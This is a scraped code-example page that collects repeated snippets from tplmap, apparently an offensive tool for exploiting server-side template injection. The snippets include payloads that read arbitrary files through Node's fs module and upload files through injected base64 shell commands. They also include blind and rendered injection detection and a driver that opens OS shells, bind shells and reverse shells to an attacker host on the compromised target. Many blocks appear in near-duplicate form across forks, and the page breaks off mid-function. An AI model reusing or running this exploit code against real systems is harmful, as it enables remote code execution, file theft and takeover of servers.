            else:
                self.execute("bash -c {echo,-n,}>%s" % (remote_path))

        # Upload file in chunks of 500 characters
        for chunk in chunkit(data, 500):

            chunk_b64 = base64.urlsafe_b64encode(chunk)
            self.execute("bash -c {base64,--decode}<<<{tr,/+,_-}<<<%s>>%s" %
                         (chunk_b64, remote_path))

        if not md5(data) == self._md5(remote_path):
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File uploaded correctly')
예제 #38
0
    def detect(self):


        context_num = len([c for c in self.contexts if (c.get('level') <= self.channel.args.get('level'))])

        # Print what it's going to be tested
        log.info('Testing reflection on %s engine with tag %s%s' % (
                self.plugin,
                self.render_tag.replace('\n', '\\n') % ({'payload' : '*' }),
                ' and %i variation%s' % (context_num, 's' if context_num > 1 else '') if context_num else ''
            )
        )

        # If no weak reflection has been detected so far
        if not self.get('render_tag'):

            # Start detection
            self._detect_context()

            # Print message if header or trailer are still unset
            if self.get('header_tag') == None or self.get('trailer_tag') == None:
                if self.get('render_tag'):
                    log.info('Detected unreliable reflection with tag %s, continuing' % (
                        self.get('render_tag').replace('\n', '\\n')) % ({'payload' : '*' })
                    )

        # If tags found previously are the same as current plugin, skip context detection
        if not (
                self.get('render_tag') == self.render_tag and
                self.get('header_tag') == self.header_tag and
                self.get('trailer_tag') == self.trailer_tag
            ):
            self._detect_context()

        # Exit if header or trailer are still different
        if not (
                self.get('render_tag') == self.render_tag and
                self.get('header_tag') == self.header_tag and
                self.get('trailer_tag') == self.trailer_tag
            ):
            return

        prefix = self.get('prefix', '').replace('\n', '\\n')
        render_tag = self.get('render_tag').replace('\n', '\\n') % ({'payload' : '*' })
        suffix = self.get('suffix', '').replace('\n', '\\n')
        log.info('Confirmed reflection with tag \'%s%s%s\' by %s plugin' % (prefix, render_tag, suffix, self.plugin))

        self.detect_engine()

        # Return if engine is still unset
        if not self.get('engine'):
            return

        self.detect_eval()
        self.detect_exec()
        self.detect_write()
        self.detect_read()
예제 #39
0
파일: plugin.py 프로젝트: epinna/tplmap
    def _generate_contexts(self):

        # Loop all the contexts
        for ctx in self.contexts:

            # If --force-level skip any other level
            force_level = self.channel.args.get('force_level')
            if force_level and force_level[0] != None and ctx.get('level') != int(force_level[0]):
                continue
            # Skip any context which is above the required level
            if not force_level and ctx.get('level') > self.channel.args.get('level'):
                continue

            # The suffix is fixed
            suffix = ctx.get('suffix', '') % ()

            # If the context has no closures, generate one closure with a zero-length string
            if ctx.get('closures'):
                closures = self._generate_closures(ctx)

                log.info('%s plugin is testing %s*%s code context escape with %i variations%s' % (
                                self.plugin,
                                repr(ctx.get('prefix', '%(closure)s') % ( { 'closure' : '' } )).strip("'"),
                                repr(suffix).strip("'"),
                                len(closures),
                                ' (level %i)' % (ctx.get('level', 1)) if self.get('level') else ''
                        )
                )
            else:
                closures = [ '' ]

            for closure in closures:

                # Format the prefix with closure
                prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : closure } )

                yield prefix, suffix
예제 #40
0
파일: jade.py 프로젝트: Warlockk/tplmap
    def read(self, remote_path):

        # Get remote file md5
        md5_remote = self._md5(remote_path)

        if not md5_remote:
            log.warn(
                'Error getting remote file md5, check presence and permission')
            return

        # Use base64 since self.execute() calling self.inject() strips
        # the response, corrupting the data
        data_b64encoded = self.inject(
            """= global.process.mainModule.require('fs').readFileSync('%s').toString('base64')"""
            % remote_path)

        data = base64.b64decode(data_b64encoded)

        if not md5(data) == md5_remote:
            log.warn('Remote file md5 mismatch, check manually')
        else:
            log.info('File downloaded correctly')

        return data
예제 #41
0
파일: plugin.py 프로젝트: CaineQT/tplmap
    def _detect_blind(self):

        action = self.actions.get('blind', {})
        payload_true = action.get('bool_true')
        payload_false = action.get('bool_false')
        call_name = action.get('call', 'inject')

        # Skip if something is missing or call function is not set
        if not action or not payload_true or not payload_false or not call_name or not hasattr(self, call_name):
            return

        # Print what it's going to be tested
        log.info('%s plugin is testing blind injection' % (
                    self.plugin
                )
        )

        for prefix, suffix in self._generate_contexts():

            # Conduct a true-false test
            if getattr(self, call_name)(
                code = payload_true,
                prefix = prefix,
                suffix = suffix,
                blind = True
            ) and not getattr(self, call_name)(
                code = payload_false,
                prefix = prefix,
                suffix = suffix,
                blind = True
            ):
                # We can assume here blind is true
                self.set('blind', True)
                self.set('prefix', prefix)
                self.set('suffix', suffix)
                return
예제 #42
0
    def detect(self):

        context_num = len([c for c in self.contexts if (c.get('level') <= self.channel.args.get('level'))])

        # Print what it's going to be tested
        log.info('%s plugin is testing reflection on text context with tag %s' % (
                self.plugin,
                repr(self.render_fmt % ({'payload' : '*' })).strip("'"),
            )
        )

        # Start detection
        self._detect_context()

        # Return if render_fmt or header or trailer is not set
        if self.get('render_fmt') == None or self.get('header_fmt') == None or self.get('trailer_fmt') == None:
            
            # If render_fmt is set and it's the first unrealiable detection, handle this as unreliable
            if not self.get('unreliable') and self.get('render_fmt') != None:
                self.set('unreliable', self.plugin)
                log.info('%s plugin has detected unreliable reflection with tag %s, skipping' % (
                    self.plugin, 
                    repr(self.get('render_fmt') % ({'payload' : '*' })).strip("'"))
                )
                            
            return
        
        # Here the reflection is confirmed
        prefix = self.get('prefix', '')
        render_fmt = self.get('render_fmt', '%(payload)s') % ({'payload' : '*' })
        suffix = self.get('suffix', '')
        log.info('%s plugin has confirmed injection with tag \'%s%s%s\'' % (
            self.plugin,
            repr(prefix).strip("'"),
            repr(render_fmt).strip("'"),
            repr(suffix).strip("'"),
            )
        )

        self.detect_engine()

        # Return if engine is still unset
        if not self.get('engine'):
            return

        self.detect_eval()
        self.detect_exec()
        self.detect_write()
        self.detect_read()
예제 #43
0
    def detect(self):

        self._detect_dust()

        if self.get('engine'):
    
            log.info('%s plugin has confirmed injection' % (
                self.plugin)
            )
            
            # Clean up any previous unreliable render data
            self.delete('unreliable_render')
            self.delete('unreliable')

            # Further exploitation requires if helper, which has
            # been deprecated in version [email protected] .
            # Check if helper presence here.

            rand_A = rand.randstr_n(2)
            rand_B = rand.randstr_n(2)
            rand_C = rand.randstr_n(2)
            
            expected = rand_A + rand_B + rand_C

            if expected in self.inject('%s{@if cond="1"}%s{/if}%s' % (rand_A, rand_B, rand_C)):
                
                log.info('%s plugin has confirmed the presence of dustjs if helper <= 1.5.0' % (
                    self.plugin)
                )            
        
        # Blind inj must be checked also with confirmed rendering
        self._detect_blind()

        if self.get('blind'):

            log.info('%s plugin has confirmed blind injection' % (self.plugin))

            # Clean up any previous unreliable render data
            self.delete('unreliable_render')
            self.delete('unreliable')

            # Set basic info
            self.set('engine', self.plugin.lower())
            self.set('language', self.language)

            # Set the environment
            self.blind_detected()
예제 #44
0
파일: dust.py 프로젝트: epinna/tplmap
    def detect(self):

        self._detect_dust()

        if self.get('engine'):
    
            log.info('%s plugin has confirmed injection' % (
                self.plugin)
            )
            
            # Clean up any previous unreliable render data
            self.delete('unreliable_render')
            self.delete('unreliable')

            # Further exploitation requires if helper, which has
            # been deprecated in version [email protected] .
            # Check if helper presence here.

            rand_A = rand.randstr_n(2)
            rand_B = rand.randstr_n(2)
            rand_C = rand.randstr_n(2)
            
            expected = rand_A + rand_B + rand_C

            if expected in self.inject('%s{@if cond="1"}%s{/if}%s' % (rand_A, rand_B, rand_C)):
                
                log.info('%s plugin has confirmed the presence of dustjs if helper <= 1.5.0' % (
                    self.plugin)
                )            
        
        # Blind inj must be checked also with confirmed rendering
        self._detect_blind()

        if self.get('blind'):

            log.info('%s plugin has confirmed blind injection' % (self.plugin))

            # Clean up any previous unreliable render data
            self.delete('unreliable_render')
            self.delete('unreliable')

            # Set basic info
            self.set('engine', self.plugin.lower())
            self.set('language', self.language)

            # Set the environment
            self.blind_detected()
예제 #45
0
def check_template_injection(channel):

    current_plugin = detect_template_injection(channel)

    # Kill execution if no engine have been found
    if not channel.data.get('engine'):
        log.fatal("""Tested parameters appear to be not injectable.""")
        return

    # Print injection summary
    _print_injection_summary(channel)

    # If actions are not required, prints the advices and exit
    if not any(
            f for f, v in channel.args.items()
            if f in ('os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell',
                     'tpl_code', 'bind_shell', 'reverse_shell') and v):

        log.info(
            """Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s"""
            % ({
                'execute':
                '\n    --os-shell\t\t\t\tRun shell on the target\n    --os-cmd\t\t\t\tExecute shell commands'
                if channel.data.get('execute')
                and not channel.data.get('execute_blind') else '',
                'execute_blind':
                '\n    --os-shell\t\t\t\tRun shell on the target\n    --os-cmd\t\t\tExecute shell commands'
                if channel.data.get('execute_blind') else '',
                'bind_shell':
                '\n    --bind-shell PORT\t\t\tConnect to a shell bind to a target port'
                if channel.data.get('bind_shell') else '',
                'reverse_shell':
                '\n    --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port'
                if channel.data.get('reverse_shell') else '',
                'write':
                '\n    --upload LOCAL REMOTE\tUpload files to the server'
                if channel.data.get('write') else '',
                'read':
                '\n    --download REMOTE LOCAL\tDownload remote files'
                if channel.data.get('read') else '',
            }))

        return

    # Execute operating system commands
    if channel.args.get('os_cmd') or channel.args.get('os_shell'):

        # Check the status of command execution capabilities
        if channel.data.get('execute_blind'):
            log.info(
                """Blind injection has been found and command execution will not produce any output."""
            )
            log.info(
                """Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not."""
            )

            if channel.args.get('os_cmd'):
                print(current_plugin.execute_blind(channel.args.get('os_cmd')))
            elif channel.args.get('os_shell'):
                log.info('Run commands on the operating system.')
                Shell(current_plugin.execute_blind, '%s (blind) $ ' %
                      (channel.data.get('os', ''))).cmdloop()

        elif channel.data.get('execute'):
            if channel.args.get('os_cmd'):
                print(current_plugin.execute(channel.args.get('os_cmd')))
            elif channel.args.get('os_shell'):
                log.info('Run commands on the operating system.')

                Shell(current_plugin.execute,
                      '%s $ ' % (channel.data.get('os', ''))).cmdloop()

        else:
            log.error(
                'No system command execution capabilities have been detected on the target.'
            )

    # Execute template commands
    if channel.args.get('tpl_code') or channel.args.get('tpl_shell'):

        if channel.data.get('engine'):

            if channel.data.get('blind'):
                log.info(
                    """Only blind execution has been found. Injected template code will not produce any output."""
                )
                call = current_plugin.inject
            else:
                call = current_plugin.render

            if channel.args.get('tpl_code'):
                print(call(channel.args.get('tpl_code')))
            elif channel.args.get('tpl_shell'):
                log.info(
                    'Inject multi-line template code. Press ctrl-D to send the lines'
                )
                MultilineShell(call, '%s > ' %
                               (channel.data.get('engine', ''))).cmdloop()

        else:
            log.error(
                'No code evaluation capabilities have been detected on the target'
            )

    # Perform file upload
    local_remote_paths = channel.args.get('upload')
    if local_remote_paths:

        if channel.data.get('write'):

            local_path, remote_path = local_remote_paths

            with open(local_path, 'rb') as f:
                data = f.read()

            current_plugin.write(data, remote_path)

        else:
            log.error(
                'No file upload capabilities have been detected on the target')

    # Perform file read
    remote_local_paths = channel.args.get('download')
    if remote_local_paths:

        if channel.data.get('read'):

            remote_path, local_path = remote_local_paths

            content = current_plugin.read(remote_path)

            with open(local_path, 'wb') as f:
                f.write(content)

        else:

            log.error(
                'No file download capabilities have been detected on the target'
            )

    # Connect to tcp shell
    bind_shell_port = channel.args.get('bind_shell')
    if bind_shell_port:

        if channel.data.get('bind_shell'):

            urlparsed = urlparse.urlparse(channel.base_url)
            if not urlparsed.hostname:
                log.error("Error parsing hostname")
                return

            for idx, thread in enumerate(
                    current_plugin.bind_shell(bind_shell_port)):

                log.info('Spawn a shell on remote port %i with payload %i' %
                         (bind_shell_port, idx + 1))

                thread.join(timeout=1)

                if not thread.isAlive():
                    continue

                try:

                    telnetlib.Telnet(urlparsed.hostname,
                                     bind_shell_port,
                                     timeout=5).interact()

                    # If telnetlib does not rise an exception, we can assume that
                    # ended correctly and return from `run()`
                    return
                except Exception as e:
                    log.debug("Error connecting to %s:%i %s" %
                              (urlparsed.hostname, bind_shell_port, e))

        else:

            log.error(
                'No TCP shell opening capabilities have been detected on the target'
            )

    # Accept reverse tcp connections
    reverse_shell_host_port = channel.args.get('reverse_shell')
    if reverse_shell_host_port:
        host, port = reverse_shell_host_port
        timeout = 15

        if channel.data.get('reverse_shell'):

            current_plugin.reverse_shell(host, port)

            # Run tcp server
            try:
                tcpserver = TcpServer(int(port), timeout)
            except socket.timeout as e:
                log.error("No incoming TCP shells after %is, quitting." %
                          (timeout))

        else:

            log.error(
                'No reverse TCP shell capabilities have been detected on the target'
            )
예제 #46
0
파일: plugin.py 프로젝트: epinna/tplmap
    def detect(self):

        # Get user-provided techniques
        techniques = self.channel.args.get('technique')

        # Render technique
        if 'R' in techniques:

            # Start detection
            self._detect_render()

            # If render is not set, check unreliable render
            if self.get('render') == None:
                self._detect_unreliable_render()

            # Else, print and execute rendered_detected()
            else:

                # If here, the rendering is confirmed
                prefix = self.get('prefix', '')
                render = self.get('render', '%(code)s') % ({'code' : '*' })
                suffix = self.get('suffix', '')
                log.info('%s plugin has confirmed injection with tag \'%s%s%s\'' % (
                    self.plugin,
                    repr(prefix).strip("'"),
                    repr(render).strip("'"),
                    repr(suffix).strip("'"),
                    )
                )
                
                # Clean up any previous unreliable render data
                self.delete('unreliable_render')
                self.delete('unreliable')

                # Set basic info
                self.set('engine', self.plugin.lower())
                self.set('language', self.language)

                # Set the environment
                self.rendered_detected()

        # Time-based blind technique
        if 'T' in techniques:

            # Manage blind injection only if render detection has failed
            if not self.get('engine'):

                self._detect_blind()

                if self.get('blind'):

                    log.info('%s plugin has confirmed blind injection' % (self.plugin))

                    # Clean up any previous unreliable render data
                    self.delete('unreliable_render')
                    self.delete('unreliable')

                    # Set basic info
                    self.set('engine', self.plugin.lower())
                    self.set('language', self.language)

                    # Set the environment
                    self.blind_detected()
예제 #47
0
파일: check.py 프로젝트: Warlockk/tplmap
    def detect(self):

        context_num = len([
            c for c in self.contexts
            if (c.get('level') <= self.channel.args.get('level'))
        ])

        # Print what it's going to be tested
        log.info('Testing reflection on %s engine with tag %s%s' %
                 (self.plugin, self.render_tag.replace('\n', '\\n') %
                  ({
                      'payload': '*'
                  }), ' and %i variation%s' %
                  (context_num, 's' if context_num > 1 else '')
                  if context_num else ''))

        # If no weak reflection has been detected so far
        if not self.get('render_tag'):

            # Start detection
            self._detect_context()

            # Print message if header or trailer are still unset
            if self.get('header_tag') == None or self.get(
                    'trailer_tag') == None:
                if self.get('render_tag'):
                    log.info(
                        'Detected unreliable reflection with tag %s, continuing'
                        % (self.get('render_tag').replace('\n', '\\n')) %
                        ({
                            'payload': '*'
                        }))

        # If tags found previously are the same as current plugin, skip context detection
        if not (self.get('render_tag') == self.render_tag
                and self.get('header_tag') == self.header_tag
                and self.get('trailer_tag') == self.trailer_tag):
            self._detect_context()

        # Exit if header or trailer are still different
        if not (self.get('render_tag') == self.render_tag
                and self.get('header_tag') == self.header_tag
                and self.get('trailer_tag') == self.trailer_tag):
            return

        prefix = self.get('prefix', '').replace('\n', '\\n')
        render_tag = self.get('render_tag').replace('\n', '\\n') % ({
            'payload':
            '*'
        })
        suffix = self.get('suffix', '').replace('\n', '\\n')
        log.info('Confirmed reflection with tag \'%s%s%s\' by %s plugin' %
                 (prefix, render_tag, suffix, self.plugin))

        self.detect_engine()

        # Return if engine is still unset
        if not self.get('engine'):
            return

        self.detect_eval()
        self.detect_exec()
        self.detect_write()
        self.detect_read()
예제 #48
0
    def _detect_context(self):

        # Prepare base operation to be evalued server-side
        randA = rand.randint_n(1)
        randB = rand.randint_n(1)
        expected = str(randA*randB)

        # Prepare first detection payload and header
        payload = self.render_fmt % ({ 'payload': '%s*%s' % (randA, randB) })
        header_rand = rand.randint_n(10)
        header = self.header_fmt % ({ 'header' : header_rand })
        trailer_rand = rand.randint_n(10)
        trailer = self.trailer_fmt % ({ 'trailer' : trailer_rand })

        log.debug('%s: Trying to inject in text context' % self.plugin)

        # First probe with payload wrapped by header and trailer, no suffex or prefix
        if expected == self.inject(
                payload = payload,
                header = header,
                trailer = trailer,
                header_rand = header_rand,
                trailer_rand = trailer_rand,
                prefix = '',
                suffix = ''
            ):
            self.set('render_fmt', self.render_fmt)
            self.set('header_fmt', self.header_fmt)
            self.set('trailer_fmt', self.trailer_fmt)
            return

        log.debug('%s: Injection in text context failed, trying to inject in code context' % self.plugin)

        # Loop all the contexts
        for ctx in self.contexts:

            # If --force-level skip any other level
            force_level = self.channel.args.get('force_level')
            if force_level and force_level[0] and ctx.get('level') != int(force_level[0]):
                continue
            # Skip any context which is above the required level
            if not force_level and ctx.get('level') > self.channel.args.get('level'):
                continue

            # The suffix is fixed
            suffix = ctx.get('suffix', '') % ()
            
            # Generate closures whether prefix has closure format string and 'closure' element
            if '%(closure)s' in ctx.get('prefix') and ctx.get('closures'):
                closures = self._generate_closures(ctx)
                prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : '' } )
            # Else, inject a fake element to perform a single run
            else:
                closures = [ '' ]
                prefix = '%(closure)s' + ctx.get('prefix')

            log.info('%s plugin is testing %s*%s code context escape with %i mutations%s' % (
                            self.plugin,
                            repr(prefix).strip("'"),
                            repr(suffix).strip("'"),
                            len(closures),
                            ' (level %i)' % (ctx.get('level', 1)) if self.get('level') else ''
                    )
            )

            for closure in closures:

                # Format the prefix with closure
                prefix = ctx.get('prefix', '%(closure)s') % ( { 'closure' : closure } )
                if expected == self.inject(
                        payload = payload,
                        header = header,
                        trailer = trailer,
                        header_rand = header_rand,
                        trailer_rand = trailer_rand,
                        prefix = prefix,
                        suffix = suffix
                    ):
                    self.set('render_fmt', self.render_fmt)
                    self.set('header_fmt', self.header_fmt)
                    self.set('trailer_fmt', self.trailer_fmt)
                    self.set('prefix', prefix)
                    self.set('suffix', suffix)

                    return

        log.debug('%s: Injection in code context failed, trying raw payload with no header and trailer' % self.plugin)

        # As last resort, just inject without header and trailer and
        # see if expected is contained in the response page
        result = self.channel.req(payload)
        if result and expected in result:
            self.set('render_fmt', self.render_fmt)
            return
예제 #49
0
파일: tplmap.py 프로젝트: m-starke/tplmap
from core import checks
from core.channel import Channel
from utils.loggers import log
import traceback

version = '0.4'

def main():
    
    args = vars(cliparser.options)
    
    if not args.get('url'):
        cliparser.parser.error('URL is required. Run with -h for help.')
        
    # Add version
    args['version'] = version
    
    checks.check_template_injection(Channel(args))
    
if __name__ == '__main__':

    log.info(cliparser.banner % version)
    
    try:
        main()
    except (KeyboardInterrupt):
        log.info('Exiting.')
    except Exception as e:
        log.critical('Exiting: %s' % e)
        log.debug(traceback.format_exc())
예제 #50
0
파일: channel.py 프로젝트: m-starke/tplmap
    def req(self, injection):

        get_params = deepcopy(self.get_params)
        post_params = deepcopy(self.post_params)
        header_params = deepcopy(self.header_params)
        url_params = self.base_url
        
        # Pick current injection by index
        inj = deepcopy(self.injs[self.inj_idx])
        
        if inj['field'] == 'URL':
            
            position = inj['position']
            
            url_params = self.base_url[:position] + injection + self.base_url[position+1:]
        
        elif inj['field'] == 'POST':
        
            if inj.get('part') == 'param':
                # Inject injection within param
                old_value = post_params[inj.get('param')]
                del post_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                post_params[new_param] = old_value
                
            if inj.get('part') == 'value':
                
                # If injection in value, replace value by index    
                if self.tag in post_params[inj.get('param')][inj.get('idx')]:
                    post_params[inj.get('param')][inj.get('idx')] = post_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
                else:
                    post_params[inj.get('param')][inj.get('idx')] = injection

        elif inj['field'] == 'GET':
                
            if inj.get('part') == 'param':
                # If injection replaces param, save the value 
                # with a new param
                old_value = get_params[inj.get('param')]
                del get_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                get_params[new_param] = old_value
                
            if inj.get('part') == 'value':
                # If injection in value, inject value in the correct index
                if self.tag in get_params[inj.get('param')][inj.get('idx')]:
                    get_params[inj.get('param')][inj.get('idx')] = get_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
                else:
                    get_params[inj.get('param')][inj.get('idx')] = injection
                
        elif inj['field'] == 'Header':
            
            # Headers can't contain \r or \n, sanitize
            injection = injection.replace('\n', '').replace('\r', '')
                
            if inj.get('part') == 'param':
                # If injection replaces param, save the value 
                # with a new param
                old_value = get_params[inj.get('param')]
                del header_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                header_params[new_param] = old_value                
                            
            if inj.get('part') == 'value':
                # If injection in value, replace value by index    
                
                if self.tag in header_params[inj.get('param')]:
                    header_params[inj.get('param')] = header_params[inj.get('param')].replace(self.tag, injection)
                else:
                    header_params[inj.get('param')] = injection
        
        if self.tag in self.base_url:
            log.debug('[URL] %s' % url_params)
        if get_params:
            log.debug('[GET] %s' % get_params)
        if post_params:
            log.debug('[POST] %s' % post_params)
        if len(header_params) > 1:
            log.debug('[HEDR] %s' % header_params)
        
        try:
            result = requests.request(
                method = self.http_method,
                url = url_params,
                params = get_params,
                data = post_params,
                headers = header_params,
                proxies = self.proxies,
                # By default, SSL check is skipped.
                # TODO: add a -k curl-like option to set this.
                verify = False
                ).text
        except requests.exceptions.ConnectionError as e:
            if e and e[0] and e[0][0] == 'Connection aborted.':
                log.info('Error: connection aborted, bad status line.')
                result = None
            else:
                raise

        if utils.config.log_response:
            log.debug("""< %s""" % (result) )

        return result
예제 #51
0
    def req(self, injection):

        get_params = deepcopy(self.get_params)
        post_params = deepcopy(self.post_params)
        header_params = deepcopy(self.header_params)
        url_params = self.base_url
        
        # Pick current injection by index
        inj = deepcopy(self.injs[self.inj_idx])
        
        if inj['field'] == 'URL':
            
            position = inj['position']
            
            url_params = self.base_url[:position] + injection + self.base_url[position+1:]
        
        elif inj['field'] == 'POST':
        
            if inj.get('part') == 'param':
                # Inject injection within param
                old_value = post_params[inj.get('param')]
                del post_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                post_params[new_param] = old_value
                
            if inj.get('part') == 'value':
                
                # If injection in value, replace value by index    
                if self.tag in post_params[inj.get('param')][inj.get('idx')]:
                    post_params[inj.get('param')][inj.get('idx')] = post_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
                else:
                    post_params[inj.get('param')][inj.get('idx')] = injection

        elif inj['field'] == 'GET':
                
            if inj.get('part') == 'param':
                # If injection replaces param, save the value 
                # with a new param
                old_value = get_params[inj.get('param')]
                del get_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                get_params[new_param] = old_value
                
            if inj.get('part') == 'value':
                # If injection in value, inject value in the correct index
                if self.tag in get_params[inj.get('param')][inj.get('idx')]:
                    get_params[inj.get('param')][inj.get('idx')] = get_params[inj.get('param')][inj.get('idx')].replace(self.tag, injection)
                else:
                    get_params[inj.get('param')][inj.get('idx')] = injection
                
        elif inj['field'] == 'Header':
            
            # Headers can't contain \r or \n, sanitize
            injection = injection.replace('\n', '').replace('\r', '')
                
            if inj.get('part') == 'param':
                # If injection replaces param, save the value 
                # with a new param
                old_value = get_params[inj.get('param')]
                del header_params[inj.get('param')]
                
                if self.tag in inj.get('param'):
                    new_param = inj.get('param').replace(self.tag, injection)
                else:
                    new_param = injection
                    
                header_params[new_param] = old_value                
                            
            if inj.get('part') == 'value':
                # If injection in value, replace value by index    
                
                if self.tag in header_params[inj.get('param')]:
                    header_params[inj.get('param')] = header_params[inj.get('param')].replace(self.tag, injection)
                else:
                    header_params[inj.get('param')] = injection
        
        if self.tag in self.base_url:
            log.debug('[URL] %s' % url_params)
        if get_params:
            log.debug('[GET] %s' % get_params)
        if post_params:
            log.debug('[POST] %s' % post_params)
        if len(header_params) > 1:
            log.debug('[HEDR] %s' % header_params)
        
        try:
            result = requests.request(
                method = self.http_method,
                url = url_params,
                params = get_params,
                data = post_params,
                headers = header_params,
                proxies = self.proxies,
                # By default, SSL check is skipped.
                # TODO: add a -k curl-like option to set this.
                verify = False
                ).text
        except requests.exceptions.ConnectionError as e:
            if e and e[0] and e[0][0] == 'Connection aborted.':
                log.info('Error: connection aborted, bad status line.')
                result = None
            else:
                raise

        if utils.config.log_response:
            log.debug("""< %s""" % (result) )

        return result
예제 #52
0
def check_template_injection(args):

    channel = Channel(args)
    current_plugin = None

    # Iterate all the available plugins until
    # the first template engine is detected.
    for plugin in plugins:

        current_plugin = plugin(channel)

        # Skip if user specify a specific --engine
        if args.get('engine') and args.get(
                'engine').lower() != current_plugin.plugin.lower():
            continue

        current_plugin.detect()

        if channel.data.get('engine'):
            break

    # Kill execution if no engine have been found
    if not channel.data.get('engine'):
        log.fatal(
            """Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests."""
        )
        return

    # Print injection summary
    _print_injection_summary(channel)

    # If actions are not required, prints the advices and exit
    if not any(f for f, v in args.items()
               if f in ('os_cmd', 'os_shell', 'upload', 'download',
                        'tpl_shell') and v):

        log.info(
            """Rerun tplmap providing one of the following options:%(exec)s%(write)s%(read)s"""
            % ({
                'exec':
                '\n    --os-cmd or --os-shell to access the underlying operating system'
                if channel.data.get('exec') else '',
                'write':
                '\n    --upload LOCAL REMOTE to upload files to the server'
                if channel.data.get('write') else '',
                'read':
                '\n    --download REMOTE LOCAL to download remote files'
                if channel.data.get('read') else ''
            }))

        return

    # Execute operating system commands
    if channel.data.get('exec'):

        if args.get('os_cmd'):
            print current_plugin.execute(args.get('os_cmd'))
        elif args.get('os_shell'):
            log.info('Run commands on the operating system.')

            Shell(current_plugin.execute,
                  '%s $ ' % (channel.data.get('os', ''))).cmdloop()

    # Execute operating system commands
    if channel.data.get('engine'):

        if args.get('tpl_code'):
            print current_plugin.inject(args.get('os_cmd'))
        elif args.get('tpl_shell'):
            log.info(
                'Inject multi-line template code. Double empty line to send the data.'
            )

            MultilineShell(current_plugin.inject, '%s $ ' %
                           (channel.data.get('engine', ''))).cmdloop()

    # Perform file write
    if channel.data.get('write'):

        local_remote_paths = args.get('upload')

        if local_remote_paths:

            local_path, remote_path = local_remote_paths

            with open(local_path, 'rb') as f:
                data = f.read()

            current_plugin.write(data, remote_path)

    # Perform file read
    if channel.data.get('read'):

        remote_local_paths = args.get('download')

        if remote_local_paths:

            remote_path, local_path = remote_local_paths

            content = current_plugin.read(remote_path)

            with open(local_path, 'wb') as f:
                f.write(content)
예제 #53
0
파일: checks.py 프로젝트: m-starke/tplmap
def check_template_injection(channel):

    current_plugin = detect_template_injection(channel)

    # Kill execution if no engine have been found
    if not channel.data.get('engine'):
        log.fatal("""Tested parameters appear to be not injectable. Try to increase '--level' value to perform more tests.""")
        return

    # Print injection summary
    _print_injection_summary(channel)

    # If actions are not required, prints the advices and exit
    if not any(
            f for f,v in channel.args.items() if f in (
                'os_cmd', 'os_shell', 'upload', 'download', 'tpl_shell', 'tpl_code', 'bind_shell', 'reverse_shell'
            ) and v
        ):

        log.info(
            """Rerun tplmap providing one of the following options:\n%(execute)s%(execute_blind)s%(bind_shell)s%(reverse_shell)s%(write)s%(read)s""" % (
                {
                 'execute': '\n    --os-shell\t\t\t\tRun shell on the target\n    --os-cmd\t\t\t\tExecute shell commands' if channel.data.get('execute') and not channel.data.get('execute_blind') else '',
                 'execute_blind': '\n    --os-shell\t\t\t\tRun shell on the target\n    --os-cmd\t\t\tExecute shell commands' if channel.data.get('execute_blind') else '',
                 'bind_shell': '\n    --bind-shell PORT\t\t\tConnect to a shell bind to a target port' if channel.data.get('bind_shell') else '',
                 'reverse_shell': '\n    --reverse-shell HOST PORT\tSend a shell back to the attacker\'s port' if channel.data.get('reverse_shell') else '',
                 'write': '\n    --upload LOCAL REMOTE\tUpload files to the server' if channel.data.get('write') else '',
                 'read': '\n    --download REMOTE LOCAL\tDownload remote files' if channel.data.get('read') else '',                 }
            )
        )

        return


    # Execute operating system commands
    if channel.args.get('os_cmd') or channel.args.get('os_shell'):

        # Check the status of command execution capabilities
        if channel.data.get('execute_blind'):
            log.info("""Blind injection has been found and command execution will not produce any output.""")
            log.info("""Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not.""")

            if channel.args.get('os_cmd'):
                print current_plugin.execute_blind(channel.args.get('os_cmd'))
            elif channel.args.get('os_shell'):
                log.info('Run commands on the operating system.')
                Shell(current_plugin.execute_blind, '%s (blind) $ ' % (channel.data.get('os', ''))).cmdloop()

        elif channel.data.get('execute'):
            if channel.args.get('os_cmd'):
                print current_plugin.execute(channel.args.get('os_cmd'))
            elif channel.args.get('os_shell'):
                log.info('Run commands on the operating system.')

                Shell(current_plugin.execute, '%s $ ' % (channel.data.get('os', ''))).cmdloop()

        else:
            log.error('No system command execution capabilities have been detected on the target.')


    # Execute template commands
    if channel.args.get('tpl_code') or channel.args.get('tpl_shell'):

        if channel.data.get('engine'):

            if channel.data.get('blind'):
                log.info("""Only blind execution has been found. Injected template code will not produce any output.""")
                call = current_plugin.inject
            else:
                call = current_plugin.render

            if channel.args.get('tpl_code'):
                print call(channel.args.get('tpl_code'))
            elif channel.args.get('tpl_shell'):
                log.info('Inject multi-line template code. Press ctrl-D to send the lines')
                MultilineShell(call, '%s > ' % (channel.data.get('engine', ''))).cmdloop()

        else:
                log.error('No code evaluation capabilities have been detected on the target')


    # Perform file upload
    local_remote_paths = channel.args.get('upload')
    if local_remote_paths:

        if channel.data.get('write'):

            local_path, remote_path = local_remote_paths

            with open(local_path, 'rb') as f:
                data = f.read()

            current_plugin.write(data, remote_path)

        else:
                log.error('No file upload capabilities have been detected on the target')

    # Perform file read
